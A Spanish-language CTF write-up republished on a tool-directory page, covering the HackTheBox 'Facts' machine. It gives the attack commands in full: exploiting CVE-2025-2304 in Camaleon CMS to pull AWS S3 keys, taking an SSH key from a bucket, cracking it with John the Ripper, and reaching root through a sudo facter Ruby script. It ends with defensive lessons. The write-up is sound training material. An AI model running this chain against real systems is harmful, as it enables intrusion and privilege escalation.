Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
htb-facts — HackTheBox — Facts (Easy/Linux) | CVE-2025-2304 + AWS S3 + Clave SSH + Facter PrivEsc | Kitploit
Herramientas/GitHubGitHub/mattiapertusati/htb-facts
Descifrado de ContraseñasEscalada de PrivilegiosReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónSeguridad en la NubeAprendizaje y Educación
GitHubmattiapertusati/htb-facts
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

htb-facts

HackTheBox — Facts (Easy/Linux) | CVE-2025-2304 + AWS S3 + Clave SSH + Facter PrivEsc

Ver Repositorio

HTB — Facts (Fácil/Linux) - Temporada 10

HTB Difficulty OS Status Techniques Techniques PrivEsc

Resumen

Facts es una máquina Linux de dificultad fácil que requiere explotar una vulnerabilidad conocida (CVE-2025-2304) en Camaleon CMS para extraer credenciales locales de AWS S3. La enumeración de los buckets S3 internos revela una clave privada SSH que debe descifrarse con John the Ripper para obtener acceso inicial. La escalada de privilegios se logra explotando una mala configuración de sudo en /usr/bin/facter, lo que permite ejecutar código Ruby personalizado para obtener una shell root.

Cadena de ataque: Nmap → Camaleon CMS (CVE-2025-2304) → Enumeración de buckets S3 → Descifrado de la clave SSH → sudo facter → Root


Reconocimiento

Escaneo de puertos

Empecemos con un escaneo de Nmap para identificar los servicios activos en la máquina objetivo. Bash

root@kitploit:~
nmap -sV -sC -oN nmap_facts 10.129.244.96

Resultados:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

Nmap Scan

Nmap revela dos puertos abiertos: 22 (SSH) y 80 (HTTP). El servidor web está basado en Nginx. Antes de poder interactuar correctamente con el sitio, debemos añadir el host facts.htb a nuestro archivo /etc/hosts.

root@kitploit:~
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts

Enumeración Web

Al visitar el sitio en el puerto 80, se nos presenta una página web estándar. Para descubrir rutas ocultas, lanzamos un ataque de fuerza bruta de directorios (por ejemplo, usando ffuf o gobuster).

root@kitploit:~
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ

La enumeración revela varios directorios interesantes relacionados con un panel de administración (/admin, /admin.php, etc.), todos los cuales redirigen con un estado 302 a http://facts.htb/admin/login.

Enumeration

Al visitar la página de inicio de sesión y autenticarnos (o mirar el pie de página del panel), descubrimos la tecnología detrás del sitio: Camaleon CMS.

Un detalle clave llama nuestra atención en la esquina inferior derecha: la versión del CMS es 2.9.0.

Admin Panel


Explotación

Camaleon CMS (CVE-2025-2304)

Sabiendo que el servidor ejecuta Camaleon CMS 2.9.0, una búsqueda rápida en línea nos lleva a descubrir una vulnerabilidad crítica conocida como CVE-2025-2304, que permite la escalada de privilegios de un usuario autenticado a administrador.

Encontramos un exploit público en GitHub (creado por Alien0ne) y lo descargamos en nuestra máquina atacante.

GitHub Exploit

Lanzamos el exploit pasando las credenciales que tenemos en nuestro poder (p. ej., mattia:mattia) para elevarnos a administrador, extraer información sensible y luego revertir al rol original para no dejar rastros evidentes.

root@kitploit:~
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r

La salida del exploit es una mina de oro: consigue extraer credenciales locales de AWS S3 y el endpoint interno que usa el servidor.

  • S3 Access Key: AKIAA103ACAA5953D888

  • S3 Secret Key: ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR

  • S3 Endpoint: http://localhost:54321 (que se convierte en http://facts.htb:54321 para nosotros)

Exploit


Enumeración de Buckets S3

Con estas claves, podemos configurar nuestra CLI de AWS local para interactuar con el servicio S3 expuesto por la máquina.

root@kitploit:~
aws configure
# Enter the Access Key and Secret Key we just found
# Default region: us
# Default output format: json

Ahora podemos listar los buckets disponibles pasando la URL del endpoint personalizado:

root@kitploit:~
aws --endpoint-url http://facts.htb:54321 s3 ls

Encontramos dos buckets: internal y randomfacts. Al explorar recursivamente el bucket internal, descubrimos una carpeta .ssh que contiene claves.

root@kitploit:~
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive

Descarguemos el archivo id_ed25519 (la clave privada SSH) en nuestra máquina.


Descifrado de la Clave SSH

Tenemos la clave privada, pero está protegida por una passphrase. Para descifrarla, usaremos la suite John the Ripper. Primero, convertiremos la clave a un formato que John pueda leer usando ssh2john:

root@kitploit:~
ssh2john id_ed25519 > hash.txt

A continuación, lanzamos el ataque de diccionario (usando la wordlist personalizada my_guess.txt o la clásica rockyou.txt):

root@kitploit:~
john --wordlist=my_guess.txt hash.txt

La contraseña se descifra con éxito: dragonballz. Ahora tenemos todo lo necesario para acceder al servidor.

Exploit


Escalada de Privilegios

Ahora que tenemos todo lo necesario, podemos aprovechar el segundo puerto abierto que encontramos antes: el puerto SSH (22).

root@kitploit:~
ssh -i id_ed25519 [email protected]

Usaremos la contraseña que encontramos antes: dragonballz. ¡Ya estamos dentro!

Ahora necesitamos averiguar qué vía podemos explotar para obtener acceso root, así que usaremos sudo -l.

Vía:

/usr/bin/facter

Para explotar esta vía, usaremos un mini script:

root@kitploit:~
echo 'Facter.add(:pwn) do
  setcode do
    exec (“/bin/bash -p”)
  end
end' > /tmp/pwn.rb

Y luego lo ejecutaremos:

root@kitploit:~
sudo /usr/bin/facter --custom-dir=/tmp pwn

SSH

¡¡¡Oficialmente somos root!!!

Ahora solo tenemos que encontrar las dos flags :)

FLAG


Lecciones Aprendidas

Perspectiva Ofensiva

  • La divulgación de la versión del CMS en el pie de página/cabeceras revela la superficie de ataque de inmediato
  • La investigación de CVEs en versiones específicas siempre es el primer paso tras el fingerprinting
  • Servicios internos como S3 pueden exponer datos sensibles que no estaban destinados a ser públicos
  • Las claves privadas SSH en almacenamiento en la nube son una mala configuración crítica vista en entornos reales

Perspectiva Defensiva

  • Nunca expongas credenciales de AWS en código de aplicación o almacenamiento accesible
  • Restringe los permisos de los buckets S3 — los buckets internos nunca deberían ser enumerables públicamente
  • Audita los permisos de sudo con regularidad — facter con NOPASSWD es un camino directo a root
  • Mantén el software CMS actualizado — CVE-2025-2304 tenía un parche disponible

Resumen de la Cadena de Ataque

NMAP — 2 puertos descubiertos (22, 80) ↓ Enumeración web — Se encuentra la sección de administración ↓ Camaleon CMS -> CVE-2025-2304 ↓ Exploit + configuración de AWS ↓ John the Ripper para el hash ↓ Inicio de sesión SSH ↓ Sudo -l ↓ Script + Ejecución ↓ ROOT ✅


Referencias

  • CVE-2025-2304
  • Camaleon CMS
  • GTFOBins — facter
  • HackTheBox — Facts
Descargar herramienta